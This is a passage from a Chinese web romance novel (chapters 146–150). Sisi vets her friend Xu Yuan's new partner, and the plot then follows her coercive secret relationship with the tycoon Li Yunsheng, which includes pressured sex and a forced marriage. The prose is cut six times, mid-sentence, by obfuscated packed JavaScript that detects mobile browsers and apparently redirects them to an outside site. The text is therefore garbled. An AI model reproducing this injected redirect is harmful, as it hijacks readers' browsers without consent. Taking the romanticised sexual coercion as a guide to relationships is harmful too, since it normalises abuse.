盛景炎微笑:“我和阿愿的双人照。” 哦,这摆明了是要发到微博上秀恩爱宣示所有权呢。 温栩栩没有立刻答应,目光落到许愿身上征询她的意见,许愿点了头温栩栩才接过手机,正要拍照看到两人的衣服还是提议:“阿愿你换件白衬衣怎么样?或者白色衬衫裙,更搭一点。” 这个建议倒是还不错。 等许愿换好衣服和盛景炎重新摆好姿势,其实也不用摆什么姿势,他们在一起就有一种浓稠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618099|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的暧昧感,眼神都是带着柔情的。 那种明晃晃的热烈情意都能透过屏幕观察到。 温栩栩能够看到盛景炎的手一直虚虚扶着许愿的后腰处,像是担心她磕碰到,温栩栩顿了下在心里默默地给盛景炎加了几分。 拍好照片温栩栩也不急着走了,等许愿编辑微博的时间,温栩栩已经许愿好姐妹的身份坐在沙发上等着审盛景炎了。 许愿完全配合她,此刻慵懒悠闲的倚靠在沙发里面,桌上摆着的是盛景炎切好的水果,哦,还有热好的牛奶,他好像就是把许愿当成爱人来养。 “盛二少,你的感情是认真的吗。” 作为许愿的亲友,温栩栩开口几乎带着几许质问的意思。 “我此刻的感情是真的,但是感情是最不靠谱的东西,所以我能够给出我的承诺,我不会伤害她,会守护她的利益权益。” “我认为这样的守护比起虚浮的感情要更加真诚。” 对于感情他没 有避而不谈,他谈得很认真。 温栩栩明显顿了下开口:“那你以前对待那些红颜知己的感情你要怎么说?” 盛景炎笑:“小妹妹,你是阿愿的朋友为什么还会这么天真呢。” “我是盛家人,我想要抢夺盛家只能藏拙演戏,那些人只是逢场作戏。” 她知道这些,只是还会忍不住问。 她就是见到许愿被傅京礼伤害过,所以担心许愿再次被伤害。 接下来的问题盛景炎仍旧一一回答了,直到最后,温栩栩开口问:“你真的清楚阿愿的情况能够完全没有隔阂完全不在乎吗。” 她说的是什么? 是许愿和傅京礼这段失败的婚姻,是许愿腹中的孩子。 一直言笑晏晏的盛景炎动作顿住,许愿的表情也僵了下。 “我说我没有隔阂毫不在意你恐怕也不会相信。” 盛景炎失笑:“我当然这在意,但是我可以接受这一切。” “阿愿得一切我都可以接受。”盛景炎目光落在她的小腹处:“那也是我的孩子。” 第146章 要么做要么滚 话都已经到这份儿上了,温栩栩还能说什么呢? 好像说什么都很多余。 说到底这是许愿的人生许愿的选择许愿的另一半,她作为好友会担心会在意,却不能越界真的插手她的人生。 盛景炎已经这样认真的回应她,她没什么不满意的。 “好好对她。” 盛景炎眼底都是温和的笑意。 “我当然会好好对她。” 他态度真诚,让人完全挑不出错。 温栩栩微微垂眸再度看向许愿时眼尾弯弯的,带着明显的笑意。 “阿愿,你会过得很幸福的,我会祝福你。” 温栩栩没有再多停留。 盛景炎一直盯着她的背影,眸色愈发晦暗,他总觉得温栩栩这张脸他是见过的。 “怎么一直盯着栩栩的背影看。” 许愿开口询问。 盛景炎握住她的手把玩着:“我只是觉得你们感情很好,介意跟我说说你和她的过去吗。” 他不常见温栩栩和许愿一起,但是调查许愿的过程中确实有很多温栩栩的痕迹,包括许愿最初创业时期拿到的第一笔投资似乎也跟温栩栩背后的人有关。 能和许愿做好友的人,本就不会是什么傻白甜角色,他看得清楚,温栩栩这个女人心机城府都是顶尖的。 她长了一张小白花的脸,又或者说在许愿面前如此,一双黑白分明水润无辜的桃花眼,一张柔和温婉的面容,比之许宁更高级的脸型长相,和许愿的容貌是两个极端,但是依旧是美的。 纵然他的目光一直没有仔细看她,也清楚温栩栩是不可多得的美人。 她来见许愿,一直都是这样天真可爱的,身上的衣服都是温和可亲的小裙子,塑造出一种无害的氛围感,甚至有种故意告诉许愿她过得很好的感觉。 但事实上温栩栩给他的感觉是有些危险的。 只能说明许愿当局者迷,又或者说温栩栩一直演了这么多年不想让许愿看透她的内心。 所以他才开口询问她们的过去。 “栩栩她没有父母,在孤儿院长大,我是偶然在网络上看到她的求助帖知道她的遭遇,那时候我才念高中,手中没有多少积蓄,卖掉了很多东西攒够了一笔钱资助她读书。” “那之后栩栩就跟我关系很好,不过她也有属于她自己的秘密,很多时候我也不知道她在做什么,只是在我心情不好或者遇到什么事的时候才会出现。” “在我心里她就是个向命运抗争的天真女孩。” 许愿提到她时眼尾都是弯弯的。 盛景炎听得内心失笑,这种时候许愿倒显得天真了。 不过温栩栩不提那些不想让她知道,他便装作什么都不知道。 “对了,我有礼物要送给你。” 许愿眼底的笑意藏都藏不住,她抓住盛景炎的手腕,将人带到公寓的地下车库,人还未走进车库,就已经听到隐隐约约甜腻的声音。 抬眸扫过去,对上车窗内一双漆黑冷寒的眸,看到是盛景炎,男人沉冷的眸缓了些,目光轻飘飘的略到他身旁的许愿身上。 盛景炎顿了下,彻底明白温栩栩为什么会如此眼熟。 他带着许愿离开,内心却已经掀起惊涛骇浪。 温栩栩,十八岁成年当晚爬上黎云笙的床,黎云笙藏了五年的地下情人。 …… 地下车库一辆低调奢华的豪车内。 男人眸光沉冷阴鸷的盯着她,一手挑起她的下巴,似笑非笑的看着这张令他极为有兴趣的一张清丽容颜。 温栩栩心跳都乱了,但面上还带着温和的笑。 “黎少,怎么这样看着我。” 她像是无意露出自己的锁骨上的暧昧痕迹。 “我说的那些黎少不打算帮我吗。” 黎云笙盯着她那张清丽美丽的一张脸,视线顺着她的动作落在锁骨那些印记上,一双黑眸沉下去。 “怎么又穿成这么素净的样子。”黎云笙掐住她的下巴逼近:“比起这些,我更喜欢你穿红裙黑丝的模样。” 红裙,黑丝,上位者的动作姿态,一直都是他最喜欢的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618100|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是能够完全掌控她。 黎云笙啧了一声:“把你脸上的妆卸了,这张小白花的脸看了就倒胃口。” 温栩栩纤细的手指贴在他肩上笑声都带着娇娇的感觉。 “黎少不喜欢这样,我当然要换成你喜欢的样子。” 她卸去妆容,换上男人一早准备好的红裙,而那张清丽的面容却已然变成一张明艳妩媚的脸。 就像盛景炎想的那样,温栩栩有一双那样的桃花眼,怎么会是那样一张脸。 她在许愿面前的一切都是装出来演出来的,真正的她靠着男人走到今天,早就成为黎云笙的情人,她只是不想让许愿瞧不起她才会隐藏真实的自己,让她以为她只是天真烂漫的小女孩。 “都已经换成黎少喜欢的样子了,那我提到的那些,黎少是不是要考虑一下帮我了。” 温栩栩倚靠在男人怀中,柔弱无骨的姿态,她刻意摆出这样可以被人完全掌控的模样。 黎云笙唇角勾了勾,眼底却 一片冰凉,“你打算这样跟我谈?” 温栩栩有些不明白黎云笙的意思,又或者说她是在装不懂。 “昨晚我还没尽兴。”他笑意冰冷,“你明白我的意思。” 温栩栩浑身一僵,立刻明白黎云笙是要在车上跟她亲密。 她跟了黎云笙五年,不是没跟他做过更刺激的事,但是……这里是许愿公寓地下停车场,她会担心许愿突然下来。 “什么都做过了,现在才想起要因为许愿在我面前立贞节牌坊?”黎云笙嗤笑,“温栩栩,你想要我帮你,那自然要让我满意。” “我给你机会,要么做要么滚。” 黎云笙提出如此恶劣的要求。 她一直都知道黎云笙是如此恶劣的人,但是……什么都做过了,想要他帮忙,确实要付出代价,就像现在。 温栩栩深呼一口气,颤抖着手解开男人的皮带,主动的坐到男人腿上。 男人面带笑意的欣赏着她的表情,扣住她的头添去她眼角的泪水,声音危险:“你想求我做什么,可以说了。” 第147章 黎云笙和温栩栩 温栩栩一口气哽在心口:“帮我调查盛景炎。” 一句话说得磕磕绊绊:“我要知道他是不是真心的。” 又是因为许愿。 她总是因为许愿一而再再而三的求他做事,只有遇到许愿的事她才会这般放低姿态。 她到底是为她自己而活还是为了许愿而活呢。 黎云笙手扶着她柔韧细软的腰肢,眼神晦暗,温栩栩呜咽出声。 不知过了多久,久到温栩栩支撑不住。 晕过去前终于听见男人凑在她耳边沙哑充满欲望的声音。 “我看到了你的诚意,我自然可以满足你。” 只是,许愿那样的身份,还需要你来帮她吗? 倒不如求她救救你。 温栩栩醒过来却觉得浑身酸疼得厉害。 黎云笙这人果然是混蛋,哪怕是在车上也能将人折磨得人生不如死。 温栩栩睁开眼,发现自己躺在一张昂贵绵软的大床上,看看窗外天已经大亮。 她挣扎着下了床,打开房门。 黎云笙坐在沙发上看着文件,听到门被打开的声音只略微挑了挑眉。 “醒了?” 温栩栩点头,现在她没有再装,立刻就要开口询问黎云笙调查的结果。 黎云笙那双冷眸,如鹰隼般锁定在她脸上,迫人的气势让温栩栩莫名觉得浑身发冷,半点没有对待情人的温柔态度。 果然是冷酷无情的野兽。 温栩栩内心吐槽,却还是不得不低头恳求黎云笙。 “你要的资料在桌上。” 温栩栩眼睛发光,终于等到了这句话。 “不过我想你的朋友或许不需要你拯救。”黎云笙声音冷酷毫无温情,仿佛先前在车内彼此之间疯狂缠绵的人不是他。 温栩栩置若罔闻,翻看着黎云笙调查出来的资料。 几乎是盛景炎最为详尽的资料,或许是黎云笙早就调查好了的,知道她迟早有一天会求他要这份资料。 资料上有盛景炎的生平以及盛家关系图详解,甚至盛景炎与那些女人是什么关系都有标注,他确实是干干净净。 这份资料后面还附注了许愿如今的身份。 盛华的真正的幕后掌舵人。 黎云笙是在提醒警告温栩栩,许愿从来不是简单的人,她自己就是资本,她和盛景炎的感情博弈是他们的私事,她的身份摆在这里,盛景炎不一定能伤到他。 温栩栩却只是轻飘飘的略过许愿的资料,唇角都是带着柔柔的微笑。 “阿愿真厉害。” 她的语气轻缓,好像又变成在许愿身边时甜甜的小女生模样。 黎云笙抬眸,眸色愈发阴沉。 养了五年的小玩意儿始终养不熟,一颗心就向着那个女人。 温栩栩是个什么性格的女人? 在许愿眼中她天真烂漫,懂事又可爱,是她身边最珍视的同性好友,但在黎云笙眼中她狡猾奸诈心思深重满脑子都是算计,像是一朵开得正艳诱惑世人却又长满毒刺的花朵。 她的脑子里没有别人,只有许愿。 许愿拯救了高中时期的她,她就要发疯赔掉她自己的人生。 十八岁的许愿打算创建自己的公司时十八岁的温栩栩为了她爬上他的床换取了第一笔投资。 许愿永远不会知道她拿到投资的代价是温栩栩招惹了他这个恶魔,以付出她自己的身体为交换,换取了那一千万的投资。 她的成功建立在温栩栩的痛苦之上。 她不会知道这些,温栩栩也不会让她知道。 她在他面前示弱全都是为了许愿。 黎云笙眸色愈发冷了,他目光落到温栩栩脸上,声音陡然冰冷开口:“把衣服脱掉。” 她是又想做那种事吗。 温栩栩心头发慌,迟迟没有动作,之前在车上因为同一个动作,后腰处被摁出了大片青紫痕迹,她不想脱。 黎云笙面色更冷。 温栩栩停顿几许,还是动作僵硬的脱掉身上的衣物,只觉这天气虽然炎热吹得是热风却仍叫她浑身发冷心底发寒。 温栩栩很白,是那种晒不黑的冷白皮,她的肌肤白得像在发光,似莹莹白玉。 他眸光深了几分,喉结滚动将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618101|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人带进怀中,鼻息间呼出的灼烫气息喷洒在她颈项间,引得她一阵战栗。 黎云笙声音沙哑,“你为她做了这么多,真的不想让她知道?” “这难道是什么很好的事吗。”温栩栩身体愈发僵硬,“她有她自己的人生,不需要知道我的事。” 男人呼吸又重了几分,语气不悦带着讽意:“那你还真是大公无私的对她奉献着你自己。” 温栩栩有些隐忍:“黎少你知道她对我很重要。” 黎云笙嗤笑间,窗外清冷的月色倾泻的越过玻璃照在他凉薄的脸上,像是陇上一层银光薄雾,平添了几分疏离的温情。 “对,我当然知道。” 黎云笙说话间吻上她的耳垂轻咬着,“温栩栩,你要记得你也有你自己的人生。” 温栩栩只是甜甜的笑着,她跨坐在他腿上,双臂揽住他的脖子,给他消火的凑上去亲亲他的 脸。 “当然,我知道。” 知道?如果真的知道,这一次就不会继续为了许愿的事求他。 他眸光深暗的再度将人欺负到承受不住,看到躺在床上只有在此刻才透露出些许天真的女人,黎云笙眸光深了几分。 他打开房门随意的点了根烟抽着拨通了盛景炎的电话。 “我已经把你的资料给了小狐狸,打这通电话只是告诫你一声,你最好真的不会背叛许愿。” “不然,小狐狸会发疯。” 黎云笙啧了一声,抬手揉了下肩膀,上面是温栩栩留下的牙印。 “她咬人还挺疼的。” “……” 还留在许愿公寓突然接到黎云笙电话的盛景炎一口气没喘上来,被气笑了。 “黎云笙,你在跟我炫耀?” 炫耀他们能睡一起?炫耀小狐狸会咬人? 盛景炎呵笑一声:“得到身体得不到心你在炫耀什么?” “你和温栩栩就像是黄文里面找清水感情,一百章里面可能只有一章剧情还全都是因为阿愿。” “……”黎云笙:“滚。” 盛景炎无比平静:“哦,破防了。” 第148章 我可以跟她结婚 盛景炎和黎云笙的通话记录最终由黎云笙主动挂断并拉黑盛景炎为结局。 听到手机对面嘟一声后挂断电话,盛景炎忍不住内心啧了一声。 自己拢不住自己的女人还要来找他发脾气,五年都没捂热温栩栩,怪谁?还不是怪你自己太变态,但凡跟他学学露出点真心说不定早就修成正果了,哪可能还继续干耗着。 黎云笙的感情,他不掺和。 傅京礼有好友,盛景炎自然也有,只是以往藏拙时的酒肉朋友不被算在其中,黎云笙倒是私下多次合作后渐渐成为朋友的人。 黎云笙此人性格多疑一向只看重结果,对他来说最厌恶那些没用的社交。 而他的身份全然不输傅京礼江惊蛰,同样涉足的领域与电子智能和新能源有关,和傅氏合作过也竞争过,是黎家一早就定下的继承人,黎氏的掌舵人。 若是此前盛景炎还不懂温栩栩为什么会选择爬黎云笙的床,在明白温栩栩是为了给许愿拉投资后不得不夸她有些小聪明在里面。 许愿爱慕傅京礼,所以温栩栩不会染指,江惊蛰与宋野家族涉足的领域不同,而那时的盛家一团乱麻,盛三又是个扶不起的阿斗,空有张不错的皮囊却是个风流废物。 这么几番对比后,只有个阴晴不定的黎云笙算是最佳选择了。 黎云笙知道温栩栩选他是做过几次对比的吗?以他的能力,绝对早就知道了,不然也不会对她这副态度。 倒是也挺有意思的。 黎云笙选择温栩栩因为她年轻貌美只沉溺于情欲,温栩栩选择黎云笙却只有利用。 行吧,还挺般配。 就是不知道许愿知道这件事后会是什么反应。 盛景炎有点担心,以许愿跟温栩栩的感情,她怕是会生气,利用盛华对付黎氏也是有可能的。 想到这些,盛景炎心下一沉,给黎云笙去了电话,那头缓了片刻才接听。 “什么事?” “炫耀你的感情生活?” 盛景炎无视他的嘲讽,开口提醒:“你做好准备,你和温栩栩的事情败露后阿愿不会轻易揭过,她会对上黎氏。” 黎云笙沉默片刻,声音冰冷:“你以为我会怕她?” “比起我,许愿更应该自我厌弃,温栩栩是在为她付出,我们之间你情我愿的交易,她一个既得利益者有什么权利插进来叫嚣着主持正义。” “黎云笙,注意言辞。”盛景炎温和含笑的声音压下去:“她是我的人。” “温栩栩同样是我的人,我们之间的事,还轮不到外人插手。” 已经形成明显对峙的局面,盛景炎懒懒散散的啧了一声。 “温栩栩嘴里有几句真话你分辨得出来吗?她跟了你五年说过爱字吗?你对她而言是无法攀越的高山,是踏板,是靠山,是金主,但唯独不会是爱人,她只是短暂的属于你,等一切尘埃落定,她只会选择头也不回的离开。” “她活得理智又清醒,这些你应该比我更清楚。” 话落,两人都没有再开口。 盛景炎能感受到黎云笙隐隐的怒意。 他却觉得好笑。 黎云笙对温栩栩是什么感情他其实还挺清楚的,最初看温栩栩长得漂亮够胆大,他本就不是个多有道德感的人,送上门的小花他为什么不要? 他强制的占有却不分给她半分的爱意,温栩栩于她而言就是圈养在身边的宠物。 地下情人只能藏在地下,宠物也变不成爱人。 就像他说的,小狐狸,狐狸和人怎么能相爱呢?更何况一个习惯高高在上,又怎么可能屈尊对她付出片刻感情。 “等她调查清楚一切她就会知道如今的阿愿不再需要你,她会离开。” 盛景炎说得直接,丝毫没有顾虑到黎云笙的感受。 黎云笙沉默。 盛景炎爽了,能让黎云笙这毒蛇的混蛋沉默就是很有成就感。 盛景炎眼尾都跟着扬起来,却听对面传来男人沉稳的回答。 “我可以跟她结婚。” “……” 盛景炎只觉眼前一黑。 到底是谁疯了? “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618102|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想结婚温栩栩就跟你结?你以为结婚是玩笑?” 黎云笙这人知道结婚是什么意思吗? “不是玩笑,但我可以给她想要的。” 黎云笙没再多说,他挂断电话。 盛景炎只能猜测按照温栩栩的性子应该不会同意黎云笙的结婚“请求”。 …… 龙江华庭别墅区。 黎云笙挂断电话,他站在落地窗前目光晦涩深谙,静静地抽完烟方才回到房间。 五年时间,其实可以改变一个人的很多习惯。 自温栩栩十八岁为了讨好他让他暗中为许愿疏通关系进行投资在他这里一直都是听话乖巧的,大学时期除非必要都会回到龙江华庭乖乖的当那个乖巧懂事的小宠物。 她懂事漂亮知进退,虽然满肚子小心思却不会危害他的利益,一个已经被他娇养着甚至已经浇灌到成熟的小花,他没玩腻也不打算放她离开。 最好的办法就是将人扣在身边。 他 可以给她身份给她地位给她想要的一切,她只要继续乖乖的待在他身边就够了。 他相信聪明如温栩栩不会拒绝他的提议。 温栩栩醒来时身体缩在被子里抱着枕头蹭了蹭,一头长发披落在床上,整个人软乎乎的。 床单被子都是黑色的,他总是喜欢用这样沉闷的动作,又或者是觉得这颜色衬得她肌肤娇嫩白皙,对比更为强烈。 她跟在他身边五年 从含苞待放的小花变成如今这般娇艳的模样,漂亮又妩媚。 黎云笙眸色愈发晦暗,他不急着叫醒她,他给了她足够的时间休息。 近中午的时间,温栩栩还没醒,在一旁看文件的男人已经有些不耐。 他上前一步摇醒还在沉睡的小女人。 温栩栩直哼哼,赖床不起,在男人的手心蹭了蹭,耍无赖似的。 是真的可爱,愈发像毛茸茸的小狐狸。 黎云笙摩挲着掌心,下一秒强制的将人搂抱进怀里将人带进浴室,冷水冲了一通,温栩栩被冻醒了。 第149章 小玩意儿 她身体瑟缩了下,慢腾腾的睁开眼,对上面前男人漆黑的瞳眸顿了下,抬起手揉了揉眼睛,她也不说话,只是盯着男人看了几秒伸了下懒腰。 完全不见昨晚求他时那股讨好的劲儿。 她显然是醒了,眼尾上挑的扫了黎云笙一眼,夺过男人手中的花洒冲洗身体,身上还是酸痛难耐,她靠着冰冷的墙面,将冷水换成热水才舒服的喟叹一声。 “温栩栩,洗好后换上衣服,我们去领证。” 一句话,温栩栩动作都僵住。 花洒还在不停地喷着水。 她没说话,只抬手将长发撸到脑后,露出光洁的额头,那张动人妩媚的面容在水中更显娇艳。 她没有穿衣服,跟黎云笙已经做过那么多亲密的事情了,她早就习惯了被男人这般侵略性的目光注视,她大大方方的展示自己完美的躯体,然后兀自清洗身体。 直到清理好自己,洗去了几分疲惫才终于停了花洒。 身上只披上一件松垮的浴袍,腰间的袋子都没有系,露出白皙娇嫩的腰肢,上面还带着男人昨晚留下的指印。 她转身看向男人,笑吟吟的。 “我不要。” 她就这样直白的开口拒绝。 得到的不是预想中的答案,黎云笙皱眉,眼底冷意愈深。 “理由。” 温栩栩推开浴室的门想离开似乎是拒绝回答这个问题,男人抓住她纤细的手腕,惹得她嘶的痛呼出声。 黎云笙向来会玩,在情事上他从未在意过她的感受,昨晚手腕被铐住已经磨破了皮,稍微一碰就疼的她直皱眉。 黎云笙却没有放开她,用力将人拽到身边,眼神逼仄凶狠。 “温栩栩,理由。” “需要什么理由。”她逼着自己忽略手腕处不停传来的刺痛,微笑道:“我们之间的风花雪月只是逢场作戏,你情我愿的交易,你要年轻的肉体来发泄你的生理需求,我需要你的权势帮我解决问题,这样不好吗。” 她凑到男人面前,那张妩媚的面容带着几分狡黠,愈发像是藏满心机的红狐。 她哼笑:“黎少,不要用可笑的婚姻束缚我们之间肉体交易。” “我的未来,从没有你。” 瞧瞧,多残忍,多直接。 是黎家继承人黎氏掌舵者,他高高在上睥睨一切,到头来却被一个小玩意儿调笑着拒绝说未来从没有他。 根本就是一种侮辱。 黎云笙看她的眼神再度幽暗几分,他声音低沉带着明显的危险意味儿。 “温栩栩,你为你自己安排的未来是什么样的。” 温栩栩低头瞥向被他紧握的手腕,唇角掀起一抹似有似无的笑。 “你问我就要说吗。” 黎云笙眼神冰冷:“马上就是金融峰会,你明白我的意思。” 马上就是金融峰会,黎氏自然受邀,许愿要竞争的合同当然也有黎氏的,温栩栩眸光闪了闪。 她娇娇的倚靠在他怀中,纤细的手指抚弄着男人的衣领,诱哄的开口:“黎少干什么呢,你想知道的我当然都会告诉你,绝不会隐瞒。” 这种谎话黎云笙也就是听听而已。 他嗤笑一声,将人打横抱起,听到她的惊呼声也直接无视的将人抱到大厅的沙发上。 她双腿跨坐在男人的腰上缓缓开口:“黎少知道我考入的是a大的表演学院,十八岁那年考入a大表演系,22岁从a大毕业,这期间我为了陪着黎少你推了很多邀约广告,和我同系的学生有的已经混成了三四线的小演员,只有我还查无此人。” “我也该冒头了不是吗?” 温栩栩自私吗?对许愿来讲她可以说是无私的蠢货,但对黎云笙来说她狠心又冷血,五年时间都没能让她对黎云笙有多少期待,她未来的规划更是没有黎云笙的存在。 “所以,你打算怎么做。” 黎云笙看着怀中妩媚的女人,眸色愈深。 “一个月后菠萝卫视推出的《顶级练习生》即将海选,我会以这个节目为踏板出道。” 这是她为自己计划的第一步。 温栩栩捧着自己那张娇艳的脸蛋儿:“我这样的美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618103|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人儿,不出道可惜了。” 黎云笙看着眼前的女人,她由女孩变成女人都是有他一手开发,从青涩到如今的动人,他看着她一点点长开,变成如今模样。 而现在他的小金丝雀告诉他,她不仅要飞出牢笼还要闯入世界最大的牢笼供人观赏,是疯了。 “进了这个圈子你就无法回头了。”黎云笙好心提醒。 “为什么要回头?” 温栩栩提到娱乐圈和表演眼睛都在发亮。 “我这样的人天生就是要进入娱乐圈的,我没有阿愿那么聪明的经商头脑科研头脑,但我也足够聪慧,我懂人情世故,我可以进入娱乐圈,我可以赚很多钱。” 她进那个圈子,就是为了钱。 钱? “难道我给的还不够多吗。”黎云笙捏住她的下巴逼着她与自己对视,温栩栩笑意悠然,主动用脸颊蹭着男人的手掌。 “可那终究不是我的。” 给得再多,终究不 是她自己得到的。 进娱乐圈火了后能赚很多钱,自己赚到的和黎云笙给的是不一样的。 “温栩栩,在我身边你可以得到任何你想要的,我可以让你在这档选秀中c位出道,我可以给你安排最适合你的大女主影视资源,我可以让你一年内登上大荧幕。” “你觉得怎么样。” 这个世界就是如此残酷,温栩栩费尽心思向好的未来,都不抵黎云笙几句话。 他可以轻易将人捧至云端。 温栩栩娇笑一声,眼底的锋芒根本藏也不藏。 “我自己可以得到的东西,好像不需要黎少施舍。” “更何况……” 温栩栩声音陡然带着几分冷意:“黎少五年前对我说过的话全都忘了吗。” 她贴近男人耳边,呼吸温热却又暧昧,缠绵却又带着清醒的冷意。 她在他耳边低语。 “黎少说你缺一个小玩意逗乐,而我只是个小玩意儿。” “黎少说我这样身份低贱的人永远不要奢想成为你的太太。” 第150章 许愿,她永远的软肋 “黎少说你留下我只因为我的相貌与某人太过相像……我不是我,我只是你留在身边的影子,是你内心渴望却又得不到的那人的影子。” 虽然温栩栩从来不听话,她一直都没有学那个人,她肆意她疯狂,她就是执意要让黎云笙感受到两人之间的不同。 “这些话我都记得清清楚楚,我看是黎少忘记了。” 她唇角仍挂着娇滴滴的笑,在男人凉薄的唇上留下一吻,然后从男人腿上跳下去。 她随意的拿起吹风机吹干头发,套上衣服便要走,似乎毫不在意被她遗忘在沙发上的男人。 直到她拧开门把手,温栩栩听到男人沉冷危险的声音。 “温栩栩,离开我你无法参加任何节目。” 是威胁。 离开他,他会封杀她。 聪明如温栩栩,自然听出黎云笙的潜台词。 真是无耻。 温栩栩连连嗤笑:“a市是只有黎少了?” “我看a市的陆少也不错。”温栩栩嘲讽。 “他有未婚妻。” “江家的江惊蛰总是个好的选择。”温栩栩又想起一个。 “这么好的选择你凭什么以为他会看上被我睡了五年的女人,他欣赏的是许愿。”黎云笙回讽。 “哦,那他眼光确实不错。”温栩栩懒洋洋的:“这个不行那个也不行,那宋野总可以。” 看她这副什么都不在乎的姿态,黎云笙内心涌上层层怒意,他逼视的看着温栩栩。 “温栩栩,你一定要惹怒我。” “是你一定要控制我。”温栩栩眼神冰冷:“黎云笙,我陪你五年,我当然清楚你是什么人,我已经被你贴上标签被你看作是你的所有物,你不可能让其他任何人染指我,所以如果你不想你的所有物真的脏掉的话就不要干涉我接下来的任何事。” 她指向自己脖子上的红痕:“如果你要逼我,这里的痕迹可以是任何一个上位者留下的。” 撂下狠话就要走。 黎云笙显然没有给她这个机会。 “你这样无所顾忌,是认为以后不会为了许愿求到我这里?还是说你希望我现在就跟许愿为敌。” 轻飘飘的一句话,让温栩栩彻底停下脚步。 许愿,她永远的软肋。 她清楚自己一旦回头就要踏进黎云笙为自己设下的陷阱,她曾经为自己幻想的构建的想要实现的所有未来在此刻都将崩塌。 他就是要如此残忍的将她圈养在身边,或许还想折断她的羽翼将她永远关在这处狭小天地。 可为了许愿,她可以低头。 “黎少,说什么呢,我们不是马上要成为夫妻吗。”温栩栩笑眯眯的回到他身边,伸出两条手臂抱住男人的脖子亲昵道:“阿愿是我的好朋友,哪有跟自己好友为敌的丈夫,对不对。” 前一秒还在放着狠话绝不会选择嫁给黎云笙,下一秒却已经不得不露出笑意选择低头。 “想清楚了?”黎云笙看着面前小意讨好的女人,眼底冷意毫不收敛。 “当然想清楚了,能嫁给黎少,我求之不得。” 温栩栩笑吟吟。 她想,嫁给黎云笙,多好的一件事? 黎家继承人,黎氏真正的掌舵人,能成为黎夫人她还有什么不满足的?不过就是失去梦寐以求的自由罢了。 比起自由,金钱权利……不是更重要吗。 她亲吻着面前的男人,一直带着光彩的瞳眸却黯淡无光。 …… 公寓地下停车场。 盛景炎看着那辆线条流畅带着几分越野车酷帅风格的suv挑了挑眉,是从没有见过的新品牌。 “这是送我的?” 盛景炎眼底都是意色。 “我记得盛华收购了一家岛国的车厂,这就是你收购后打算创建的新品牌?” 许愿轻笑着摇了摇头:“这是那晚让胡浩碰撞几十次都几乎完好无损的同类车型。” “我目前还没有研制出更好的车型,只能先将这样的半成品送给你,希望以后不必再因为这种事受伤。” 盛景炎眸光微闪,眼底的笑意止都止不住。 他握住许愿的手,声音温柔:“担心我?” 许愿踩他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618104|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脚,他不为所动执起她的手轻轻亲吻:“就是担心我。” 